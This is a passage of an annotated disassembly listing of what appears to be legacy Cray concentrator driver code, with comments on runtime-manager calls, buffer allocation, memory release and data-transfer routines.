0x02DF (0x0005BE) 0x7009- f:00070 d: 9 | P = P + 9 (0x02E8)
@ Call runtime manager function 23
0x02E0 (0x0005C0) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x02E1 (0x0005C2) 0x293A- f:00024 d: 314 | OR[314] = A
0x02E2 (0x0005C4) 0x2121- f:00020 d: 289 | A = OR[289]
0x02E3 (0x0005C6) 0x293B- f:00024 d: 315 | OR[315] = A
0x02E4 (0x0005C8) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x02E5 (0x0005CA) 0x5800- f:00054 d: 0 | B = A
0x02E6 (0x0005CC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02E7 (0x0005CE) 0x7C09- f:00076 d: 9 | R = OR[9]
0x02E8 (0x0005D0) 0x1800-0x002A f:00014 d: 0 | A = 42 (0x002A) @ Print error message 42 'Cray POLL error'
0x02EA (0x0005D4) 0x291C- f:00024 d: 284 | OR[284] = A
0x02EB (0x0005D6) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B)
0x02ED (0x0005DA) 0x2122- f:00020 d: 290 | A = OR[290]
0x02EE (0x0005DC) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x02EF (0x0005DE) 0x2908- f:00024 d: 264 | OR[264] = A
0x02F0 (0x0005E0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02F1 (0x0005E2) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x02F2 (0x0005E4) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x02F3 (0x0005E6) 0x8602- f:00103 d: 2 | P = P + 2 (0x02F5), A # 0
0x02F4 (0x0005E8) 0x701F- f:00070 d: 31 | P = P + 31 (0x0313)
0x02F5 (0x0005EA) 0x212B- f:00020 d: 299 | A = OR[299]
0x02F6 (0x0005EC) 0x8602- f:00103 d: 2 | P = P + 2 (0x02F8), A # 0
0x02F7 (0x0005EE) 0x700B- f:00070 d: 11 | P = P + 11 (0x0302)
@ Call runtime manager function 27: release memory
0x02F8 (0x0005F0) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x02F9 (0x0005F2) 0x293A- f:00024 d: 314 | OR[314] = A
0x02FA (0x0005F4) 0x212B- f:00020 d: 299 | A = OR[299]
0x02FB (0x0005F6) 0x293B- f:00024 d: 315 | OR[315] = A
0x02FC (0x0005F8) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x02FD (0x0005FA) 0x5800- f:00054 d: 0 | B = A
0x02FE (0x0005FC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02FF (0x0005FE) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0300 (0x000600) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0301 (0x000602) 0x292B- f:00024 d: 299 | OR[299] = A
0x0302 (0x000604) 0x212C- f:00020 d: 300 | A = OR[300]
0x0303 (0x000606) 0x8602- f:00103 d: 2 | P = P + 2 (0x0305), A # 0
0x0304 (0x000608) 0x700B- f:00070 d: 11 | P = P + 11 (0x030F)
@ Call runtime manager function 27: release memory
0x0305 (0x00060A) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x0306 (0x00060C) 0x293A- f:00024 d: 314 | OR[314] = A
0x0307 (0x00060E) 0x212C- f:00020 d: 300 | A = OR[300]
0x0308 (0x000610) 0x293B- f:00024 d: 315 | OR[315] = A
0x0309 (0x000612) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x030A (0x000614) 0x5800- f:00054 d: 0 | B = A
0x030B (0x000616) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x030C (0x000618) 0x7C09- f:00076 d: 9 | R = OR[9]
0x030D (0x00061A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x030E (0x00061C) 0x292C- f:00024 d: 300 | OR[300] = A
0x030F (0x00061E) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0310 (0x000620) 0x291D- f:00024 d: 285 | OR[285] = A
0x0311 (0x000622) 0x7A03-0x002D f:00075 d: 3 | P = OR[3]+45 (0x002D)
0x0313 (0x000626) 0x2122- f:00020 d: 290 | A = OR[290]
0x0314 (0x000628) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x0315 (0x00062A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0316 (0x00062C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0317 (0x00062E) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0318 (0x000630) 0x291F- f:00024 d: 287 | OR[287] = A
0x0319 (0x000632) 0x2135- f:00020 d: 309 | A = OR[309]
0x031A (0x000634) 0x8602- f:00103 d: 2 | P = P + 2 (0x031C), A # 0
0x031B (0x000636) 0x700C- f:00070 d: 12 | P = P + 12 (0x0327)
0x031C (0x000638) 0x211F- f:00020 d: 287 | A = OR[287]
0x031D (0x00063A) 0x8403- f:00102 d: 3 | P = P + 3 (0x0320), A = 0
0x031E (0x00063C) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x031F (0x00063E) 0x291F- f:00024 d: 287 | OR[287] = A
0x0320 (0x000640) 0x2122- f:00020 d: 290 | A = OR[290]
0x0321 (0x000642) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x0322 (0x000644) 0x2908- f:00024 d: 264 | OR[264] = A
0x0323 (0x000646) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0324 (0x000648) 0x292F- f:00024 d: 303 | OR[303] = A
0x0325 (0x00064A) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x0326 (0x00064C) 0x292F- f:00024 d: 303 | OR[303] = A
0x0327 (0x00064E) 0x211F- f:00020 d: 287 | A = OR[287]
0x0328 (0x000650) 0x8402- f:00102 d: 2 | P = P + 2 (0x032A), A = 0
0x0329 (0x000652) 0x700F- f:00070 d: 15 | P = P + 15 (0x0338)
0x032A (0x000654) 0x212B- f:00020 d: 299 | A = OR[299]
0x032B (0x000656) 0x8602- f:00103 d: 2 | P = P + 2 (0x032D), A # 0
0x032C (0x000658) 0x700C- f:00070 d: 12 | P = P + 12 (0x0338)
@ Call runtime manager function 27: release memory
0x032D (0x00065A) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x032E (0x00065C) 0x293A- f:00024 d: 314 | OR[314] = A
0x032F (0x00065E) 0x212B- f:00020 d: 299 | A = OR[299]
0x0330 (0x000660) 0x293B- f:00024 d: 315 | OR[315] = A
0x0331 (0x000662) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0332 (0x000664) 0x5800- f:00054 d: 0 | B = A
0x0333 (0x000666) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0334 (0x000668) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0335 (0x00066A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0336 (0x00066C) 0x292B- f:00024 d: 299 | OR[299] = A
0x0337 (0x00066E) 0x700A- f:00070 d: 10 | P = P + 10 (0x0341)
0x0338 (0x000670) 0x211F- f:00020 d: 287 | A = OR[287]
0x0339 (0x000672) 0x8602- f:00103 d: 2 | P = P + 2 (0x033B), A # 0
0x033A (0x000674) 0x7007- f:00070 d: 7 | P = P + 7 (0x0341)
0x033B (0x000676) 0x212B- f:00020 d: 299 | A = OR[299]
0x033C (0x000678) 0x8402- f:00102 d: 2 | P = P + 2 (0x033E), A = 0
0x033D (0x00067A) 0x7004- f:00070 d: 4 | P = P + 4 (0x0341)
0x033E (0x00067C) 0x7E03-0x05E0 f:00077 d: 3 | R = OR[3]+1504 (0x05E0) @ Allocate 2k buffer into OR[299]
0x0340 (0x000680) 0x292B- f:00024 d: 299 | OR[299] = A
0x0341 (0x000682) 0x211F- f:00020 d: 287 | A = OR[287]
0x0342 (0x000684) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0343 (0x000686) 0x8002- f:00100 d: 2 | P = P + 2 (0x0345), C = 0
0x0344 (0x000688) 0x8602- f:00103 d: 2 | P = P + 2 (0x0346), A # 0
0x0345 (0x00068A) 0x7002- f:00070 d: 2 | P = P + 2 (0x0347)
0x0346 (0x00068C) 0x7016- f:00070 d: 22 | P = P + 22 (0x035C)
0x0347 (0x00068E) 0x212F- f:00020 d: 303 | A = OR[303]
0x0348 (0x000690) 0x1E00-0x0800 f:00017 d: 0 | A = A - 2048 (0x0800)
0x034A (0x000694) 0x8002- f:00100 d: 2 | P = P + 2 (0x034C), C = 0
0x034B (0x000696) 0x8602- f:00103 d: 2 | P = P + 2 (0x034D), A # 0
0x034C (0x000698) 0x7002- f:00070 d: 2 | P = P + 2 (0x034E)
0x034D (0x00069A) 0x700F- f:00070 d: 15 | P = P + 15 (0x035C)
0x034E (0x00069C) 0x212C- f:00020 d: 300 | A = OR[300]
0x034F (0x00069E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0351), A # 0
0x0350 (0x0006A0) 0x700B- f:00070 d: 11 | P = P + 11 (0x035B)
@ Call runtime manager function 27: release memory
0x0351 (0x0006A2) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x0352 (0x0006A4) 0x293A- f:00024 d: 314 | OR[314] = A
0x0353 (0x0006A6) 0x212C- f:00020 d: 300 | A = OR[300]
0x0354 (0x0006A8) 0x293B- f:00024 d: 315 | OR[315] = A
0x0355 (0x0006AA) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0356 (0x0006AC) 0x5800- f:00054 d: 0 | B = A
0x0357 (0x0006AE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0358 (0x0006B0) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0359 (0x0006B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x035A (0x0006B4) 0x292C- f:00024 d: 300 | OR[300] = A
0x035B (0x0006B6) 0x7008- f:00070 d: 8 | P = P + 8 (0x0363)
0x035C (0x0006B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x035D (0x0006BA) 0x272C- f:00023 d: 300 | A = A - OR[300]
0x035E (0x0006BC) 0x8402- f:00102 d: 2 | P = P + 2 (0x0360), A = 0
0x035F (0x0006BE) 0x7004- f:00070 d: 4 | P = P + 4 (0x0363)
0x0360 (0x0006C0) 0x7E03-0x05E0 f:00077 d: 3 | R = OR[3]+1504 (0x05E0) @ Allocate 2k buffer into OR[300]
0x0362 (0x0006C4) 0x292C- f:00024 d: 300 | OR[300] = A
0x0363 (0x0006C6) 0x211E- f:00020 d: 286 | A = OR[286]
0x0364 (0x0006C8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0366), A # 0
0x0365 (0x0006CA) 0x7004- f:00070 d: 4 | P = P + 4 (0x0369)
0x0366 (0x0006CC) 0x2100- f:00020 d: 256 | A = OR[256]
0x0367 (0x0006CE) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x0368 (0x0006D0) 0x291E- f:00024 d: 286 | OR[286] = A
0x0369 (0x0006D2) 0x2100- f:00020 d: 256 | A = OR[256] @ Set buffer offset 62, lower byte to 5
0x036A (0x0006D4) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x036B (0x0006D6) 0x2908- f:00024 d: 264 | OR[264] = A
0x036C (0x0006D8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x036D (0x0006DA) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x036F (0x0006DE) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0370 (0x0006E0) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0371 (0x0006E2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0372 (0x0006E4) 0x2930- f:00024 d: 304 | OR[304] = A
0x0373 (0x0006E6) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0374 (0x0006E8) 0x2925- f:00024 d: 293 | OR[293] = A
0x0375 (0x0006EA) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0376 (0x0006EC) 0x292A- f:00024 d: 298 | OR[298] = A
0x0377 (0x0006EE) 0x2122- f:00020 d: 290 | A = OR[290]
0x0378 (0x0006F0) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0379 (0x0006F2) 0x2908- f:00024 d: 264 | OR[264] = A
0x037A (0x0006F4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x037B (0x0006F6) 0x2928- f:00024 d: 296 | OR[296] = A
0x037C (0x0006F8) 0x2122- f:00020 d: 290 | A = OR[290]
0x037D (0x0006FA) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015)
0x037E (0x0006FC) 0x2908- f:00024 d: 264 | OR[264] = A
0x037F (0x0006FE) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0380 (0x000700) 0x2929- f:00024 d: 297 | OR[297] = A
@ Call runtime manager function 34
0x0381 (0x000702) 0x1022- f:00010 d: 34 | A = 34 (0x0022)
0x0382 (0x000704) 0x293A- f:00024 d: 314 | OR[314] = A
0x0383 (0x000706) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0384 (0x000708) 0x293B- f:00024 d: 315 | OR[315] = A
0x0385 (0x00070A) 0x2128- f:00020 d: 296 | A = OR[296]
0x0386 (0x00070C) 0x293C- f:00024 d: 316 | OR[316] = A
0x0387 (0x00070E) 0x2129- f:00020 d: 297 | A = OR[297]
0x0388 (0x000710) 0x293D- f:00024 d: 317 | OR[317] = A
0x0389 (0x000712) 0x2119- f:00020 d: 281 | A = OR[281]
0x038A (0x000714) 0x293E- f:00024 d: 318 | OR[318] = A
0x038B (0x000716) 0x212A- f:00020 d: 298 | A = OR[298]
0x038C (0x000718) 0x293F- f:00024 d: 319 | OR[319] = A
0x038D (0x00071A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x038E (0x00071C) 0x2940- f:00024 d: 320 | OR[320] = A
0x038F (0x00071E) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0390 (0x000720) 0x5800- f:00054 d: 0 | B = A
0x0391 (0x000722) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x0393 (0x000726) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0394 (0x000728) 0x1800-0xFFF8 f:00014 d: 0 | A = 65528 (0xFFF8)
0x0396 (0x00072C) 0x292D- f:00024 d: 301 | OR[301] = A
0x0397 (0x00072E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0398 (0x000730) 0x292E- f:00024 d: 302 | OR[302] = A
0x0399 (0x000732) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Start concentrator data transfer
0x039B (0x000736) 0x1800-0xFFF9 f:00014 d: 0 | A = 65529 (0xFFF9)
0x039D (0x00073A) 0x292D- f:00024 d: 301 | OR[301] = A
0x039E (0x00073C) 0x2119- f:00020 d: 281 | A = OR[281]
0x039F (0x00073E) 0x292E- f:00024 d: 302 | OR[302] = A
0x03A0 (0x000740) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Start concentrator data transfer
0x03A2 (0x000744) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x03A3 (0x000746) 0x2927- f:00024 d: 295 | OR[295] = A
0x03A4 (0x000748) 0x2122- f:00020 d: 290 | A = OR[290]
0x03A5 (0x00074A) 0x1418- f:00012 d: 24 | A = A + 24 (0x0018)
0x03A6 (0x00074C) 0x2908- f:00024 d: 264 | OR[264] = A
0x03A7 (0x00074E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x03A8 (0x000750) 0x2928- f:00024 d: 296 | OR[296] = A
0x03A9 (0x000752) 0x2122- f:00020 d: 290 | A = OR[290]
0x03AA (0x000754) 0x1419- f:00012 d: 25 | A = A + 25 (0x0019)
0x03AB (0x000756) 0x2908- f:00024 d: 264 | OR[264] = A
0x03AC (0x000758) 0x3108- f:00030 d: 264 | A = (OR[264])
0x03AD (0x00075A) 0x2929- f:00024 d: 297 | OR[297] = A
0x03AE (0x00075C) 0x212B- f:00020 d: 299 | A = OR[299]
0x03AF (0x00075E) 0x2924- f:00024 d: 292 | OR[292] = A
0x03B0 (0x000760) 0x2127- f:00020 d: 295 | A = OR[295]
0x03B1 (0x000762) 0xAC03-0x0466 f:00126 d: 3 | P = OR[3]+1126 (0x0466), A = 0
0x03B3 (0x000766) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x03B4 (0x000768) 0x2930- f:00024 d: 304 | OR[304] = A
0x03B5 (0x00076A) 0x211F- f:00020 d: 287 | A = OR[287]
0x03B6 (0x00076C) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x03B7 (0x00076E) 0x2908- f:00024 d: 264 | OR[264] = A
0x03B8 (0x000770) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03B9 (0x000772) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x03BA (0x000774) 0x8603- f:00103 d: 3 | P = P + 3 (0x03BD), A # 0
0x03BB (0x000776) 0x7A03-0x040C f:00075 d: 3 | P = OR[3]+1036 (0x040C)
0x03BD (0x00077A) 0x211F- f:00020 d: 287 | A = OR[287]
0x03BE (0x00077C) 0x8602- f:00103 d: 2 | P = P + 2 (0x03C0), A # 0
0x03BF (0x00077E) 0x701B- f:00070 d: 27 | P = P + 27 (0x03DA)
0x03C0 (0x000780) 0x2120- f:00020 d: 288 | A = OR[288]
0x03C1 (0x000782) 0x8604- f:00103 d: 4 | P = P + 4 (0x03C5), A # 0
0x03C2 (0x000784) 0x212F- f:00020 d: 303 | A = OR[303]
0x03C3 (0x000786) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x03C4 (0x000788) 0x2920- f:00024 d: 288 | OR[288] = A
0x03C5 (0x00078A) 0x2120- f:00020 d: 288 | A = OR[288]
0x03C6 (0x00078C) 0x1E00-0x0200 f:00017 d: 0 | A = A - 512 (0x0200)
0x03C8 (0x000790) 0x8003- f:00100 d: 3 | P = P + 3 (0x03CB), C = 0
0x03C9 (0x000792) 0x8402- f:00102 d: 2 | P = P + 2 (0x03CB), A = 0
0x03CA (0x000794) 0x7002- f:00070 d: 2 | P = P + 2 (0x03CC)
0x03CB (0x000796) 0x7005- f:00070 d: 5 | P = P + 5 (0x03D0)
0x03CC (0x000798) 0x1800-0x0200 f:00014 d: 0 | A = 512 (0x0200)
0x03CE (0x00079C) 0x292A- f:00024 d: 298 | OR[298] = A
0x03CF (0x00079E) 0x7003- f:00070 d: 3 | P = P + 3 (0x03D2)
0x03D0 (0x0007A0) 0x2120- f:00020 d: 288 | A = OR[288]
0x03D1 (0x0007A2) 0x292A- f:00024 d: 298 | OR[298] = A
0x03D2 (0x0007A4) 0x2120- f:00020 d: 288 | A = OR[288]
0x03D3 (0x0007A6) 0x272A- f:00023 d: 298 | A = A - OR[298]
0x03D4 (0x0007A8) 0x2920- f:00024 d: 288 | OR[288] = A
0x03D5 (0x0007AA) 0x2120- f:00020 d: 288 | A = OR[288]
0x03D6 (0x0007AC) 0x8603- f:00103 d: 3 | P = P + 3 (0x03D9), A # 0
0x03D7 (0x0007AE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03D8 (0x0007B0) 0x2930- f:00024 d: 304 | OR[304] = A
0x03D9 (0x0007B2) 0x7013- f:00070 d: 19 | P = P + 19 (0x03EC)
0x03DA (0x0007B4) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x03DB (0x0007B6) 0x292A- f:00024 d: 298 | OR[298] = A
0x03DC (0x0007B8) 0x211E- f:00020 d: 286 | A = OR[286]
0x03DD (0x0007BA) 0x2924- f:00024 d: 292 | OR[292] = A
0x03DE (0x0007BC) 0x2122- f:00020 d: 290 | A = OR[290]
0x03DF (0x0007BE) 0x141C- f:00012 d: 28 | A = A + 28 (0x001C)
0x03E0 (0x0007C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x03E1 (0x0007C2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x03E2 (0x0007C4) 0x2928- f:00024 d: 296 | OR[296] = A
0x03E3 (0x0007C6) 0x2122- f:00020 d: 290 | A = OR[290]
0x03E4 (0x0007C8) 0x141D- f:00012 d: 29 | A = A + 29 (0x001D)
0x03E5 (0x0007CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x03E6 (0x0007CC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x03E7 (0x0007CE) 0x2929- f:00024 d: 297 | OR[297] = A
0x03E8 (0x0007D0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03E9 (0x0007D2) 0x2930- f:00024 d: 304 | OR[304] = A
0x03EA (0x0007D4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03EB (0x0007D6) 0x291E- f:00024 d: 286 | OR[286] = A
@ Call runtime manager function 34
0x03EC (0x0007D8) 0x1022- f:00010 d: 34 | A = 34 (0x0022)
0x03ED (0x0007DA) 0x293A- f:00024 d: 314 | OR[314] = A
0x03EE (0x0007DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03EF (0x0007DE) 0x293B- f:00024 d: 315 | OR[315] = A
0x03F0 (0x0007E0) 0x2128- f:00020 d: 296 | A = OR[296]
0x03F1 (0x0007E2) 0x293C- f:00024 d: 316 | OR[316] = A
0x03F2 (0x0007E4) 0x2129- f:00020 d: 297 | A = OR[297]
0x03F3 (0x0007E6) 0x293D- f:00024 d: 317 | OR[317] = A
0x03F4 (0x0007E8) 0x2124- f:00020 d: 292 | A = OR[292]
0x03F5 (0x0007EA) 0x293E- f:00024 d: 318 | OR[318] = A
0x03F6 (0x0007EC) 0x212A- f:00020 d: 298 | A = OR[298]
0x03F7 (0x0007EE) 0x293F- f:00024 d: 319 | OR[319] = A
0x03F8 (0x0007F0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03F9 (0x0007F2) 0x2940- f:00024 d: 320 | OR[320] = A
0x03FA (0x0007F4) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x03FB (0x0007F6) 0x5800- f:00054 d: 0 | B = A
0x03FC (0x0007F8) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x03FE (0x0007FC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x03FF (0x0007FE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0400 (0x000800) 0x2926- f:00024 d: 294 | OR[294] = A
0x0401 (0x000802) 0x2129- f:00020 d: 297 | A = OR[297]
0x0402 (0x000804) 0x252A- f:00022 d: 298 | A = A + OR[298]
0x0403 (0x000806) 0x2929- f:00024 d: 297 | OR[297] = A
0x0404 (0x000808) 0x8002- f:00100 d: 2 | P = P + 2 (0x0406), C = 0
0x0405 (0x00080A) 0x2D28- f:00026 d: 296 | OR[296] = OR[296] + 1
0x0406 (0x00080C) 0x0400- f:00002 d: 0 | I = 0
0x0407 (0x00080E) 0x0000- f:00000 d: 0 | PASS
0x0408 (0x000810) 0x75B4- f:00072 d: 436 | R = P + 436 (0x05BC)
0x0409 (0x000812) 0x0600- f:00003 d: 0 | I = 1
0x040A (0x000814) 0x8602- f:00103 d: 2 | P = P + 2 (0x040C), A # 0
0x040B (0x000816) 0x7004- f:00070 d: 4 | P = P + 4 (0x040F)
0x040C (0x000818) 0x291C- f:00024 d: 284 | OR[284] = A
0x040D (0x00081A) 0x7168- f:00070 d: 360 | P = P + 360 (0x0575)
0x040E (0x00081C) 0x702F- f:00070 d: 47 | P = P + 47 (0x043D)
0x040F (0x00081E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0410 (0x000820) 0x1E00-0x004B f:00017 d: 0 | A = A - 75 (0x004B)
0x0412 (0x000824) 0x8402- f:00102 d: 2 | P = P + 2 (0x0414), A = 0
0x0413 (0x000826) 0x7003- f:00070 d: 3 | P = P + 3 (0x0416)
0x0414 (0x000828) 0x7161- f:00070 d: 353 | P = P + 353 (0x0575)
0x0415 (0x00082A) 0x7028- f:00070 d: 40 | P = P + 40 (0x043D)
0x0416 (0x00082C) 0x211C- f:00020 d: 284 | A = OR[284]
0x0417 (0x00082E) 0x1E00-0xFFF8 f:00017 d: 0 | A = A - 65528 (0xFFF8)
0x0419 (0x000832) 0x8402- f:00102 d: 2 | P = P + 2 (0x041B), A = 0
0x041A (0x000834) 0x700B- f:00070 d: 11 | P = P + 11 (0x0425)
0x041B (0x000836) 0x1800-0xFFF8 f:00014 d: 0 | A = 65528 (0xFFF8)
0x041D (0x00083A) 0x292D- f:00024 d: 301 | OR[301] = A
0x041E (0x00083C) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x041F (0x00083E) 0x2925- f:00024 d: 293 | OR[293] = A
0x0420 (0x000840) 0x2118- f:00020 d: 280 | A = OR[280]
0x0421 (0x000842) 0x292E- f:00024 d: 302 | OR[302] = A
0x0422 (0x000844) 0x7A03-0x0050 f:00075 d: 3 | P = OR[3]+80 (0x0050)
0x0424 (0x000848) 0x7019- f:00070 d: 25 | P = P + 25 (0x043D)
0x0425 (0x00084A) 0x211C- f:00020 d: 284 | A = OR[284]
0x0426 (0x00084C) 0x1E00-0xFFFA f:00017 d: 0 | A = A - 65530 (0xFFFA)
0x0428 (0x000850) 0x8402- f:00102 d: 2 | P = P + 2 (0x042A), A = 0
0x0429 (0x000852) 0x7014- f:00070 d: 20 | P = P + 20 (0x043D)
0x042A (0x000854) 0x2125- f:00020 d: 293 | A = OR[293]
0x042B (0x000856) 0x2931- f:00024 d: 305 | OR[305] = A
0x042C (0x000858) 0x212E- f:00020 d: 302 | A = OR[302]
0x042D (0x00085A) 0x2932- f:00024 d: 306 | OR[306] = A
0x042E (0x00085C) 0x1800-0xFFF8 f:00014 d: 0 | A = 65528 (0xFFF8)
0x0430 (0x000860) 0x292D- f:00024 d: 301 | OR[301] = A
0x0431 (0x000862) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0432 (0x000864) 0x2925- f:00024 d: 293 | OR[293] = A
0x0433 (0x000866) 0x2118- f:00020 d: 280 | A = OR[280]
0x0434 (0x000868) 0x292E- f:00024 d: 302 | OR[302] = A
0x0435 (0x00086A) 0x74D9- f:00072 d: 217 | R = P + 217 (0x050E)
0x0436 (0x00086C) 0x1800-0xFFF9 f:00014 d: 0 | A = 65529 (0xFFF9)
0x0438 (0x000870) 0x292D- f:00024 d: 301 | OR[301] = A
0x0439 (0x000872) 0x2131- f:00020 d: 305 | A = OR[305]
0x043A (0x000874) 0x2925- f:00024 d: 293 | OR[293] = A
0x043B (0x000876) 0x2132- f:00020 d: 306 | A = OR[306]
0x043C (0x000878) 0x292E- f:00024 d: 302 | OR[302] = A
0x043D (0x00087A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x043E (0x00087C) 0x2927- f:00024 d: 295 | OR[295] = A
0x043F (0x00087E) 0x74F8- f:00072 d: 248 | R = P + 248 (0x0537)
0x0440 (0x000880) 0x211C- f:00020 d: 284 | A = OR[284]
0x0441 (0x000882) 0x8734- f:00103 d: 308 | P = P + 308 (0x0575), A # 0
0x0442 (0x000884) 0x2120- f:00020 d: 288 | A = OR[288]
0x0443 (0x000886) 0x8402- f:00102 d: 2 | P = P + 2 (0x0445), A = 0
0x0444 (0x000888) 0x7005- f:00070 d: 5 | P = P + 5 (0x0449)
0x0445 (0x00088A) 0x211F- f:00020 d: 287 | A = OR[287]
0x0446 (0x00088C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0448), A # 0
0x0447 (0x00088E) 0x7002- f:00070 d: 2 | P = P + 2 (0x0449)
0x0448 (0x000890) 0x2F1F- f:00027 d: 287 | OR[287] = OR[287] - 1
0x0449 (0x000892) 0x2126- f:00020 d: 294 | A = OR[294]
0x044A (0x000894) 0x8602- f:00103 d: 2 | P = P + 2 (0x044C), A # 0
0x044B (0x000896) 0x7014- f:00070 d: 20 | P = P + 20 (0x045F)
0x044C (0x000898) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x044D (0x00089A) 0x2926- f:00024 d: 294 | OR[294] = A
0x044E (0x00089C) 0x212E- f:00020 d: 302 | A = OR[302]
0x044F (0x00089E) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x0450 (0x0008A0) 0x8603- f:00103 d: 3 | P = P + 3 (0x0453), A # 0
0x0451 (0x0008A2) 0x212C- f:00020 d: 300 | A = OR[300]
0x0452 (0x0008A4) 0x292E- f:00024 d: 302 | OR[302] = A
0x0453 (0x0008A6) 0x2124- f:00020 d: 292 | A = OR[292]
0x0454 (0x0008A8) 0x2931- f:00024 d: 305 | OR[305] = A
0x0455 (0x0008AA) 0x212E- f:00020 d: 302 | A = OR[302]
0x0456 (0x0008AC) 0x2924- f:00024 d: 292 | OR[292] = A
0x0457 (0x0008AE) 0x2131- f:00020 d: 305 | A = OR[305]
0x0458 (0x0008B0) 0x292E- f:00024 d: 302 | OR[302] = A
0x0459 (0x0008B2) 0x212A- f:00020 d: 298 | A = OR[298]
0x045A (0x0008B4) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x045B (0x0008B6) 0x2925- f:00024 d: 293 | OR[293] = A
0x045C (0x0008B8) 0x74B2- f:00072 d: 178 | R = P + 178 (0x050E)
0x045D (0x0008BA) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x045E (0x0008BC) 0x2927- f:00024 d: 295 | OR[295] = A
0x045F (0x0008BE) 0x72AF- f:00071 d: 175 | P = P - 175 (0x03B0)
0x0460 (0x0008C0) 0x2122- f:00020 d: 290 | A = OR[290]
0x0461 (0x0008C2) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0462 (0x0008C4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0463 (0x0008C6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0464 (0x0008C8) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
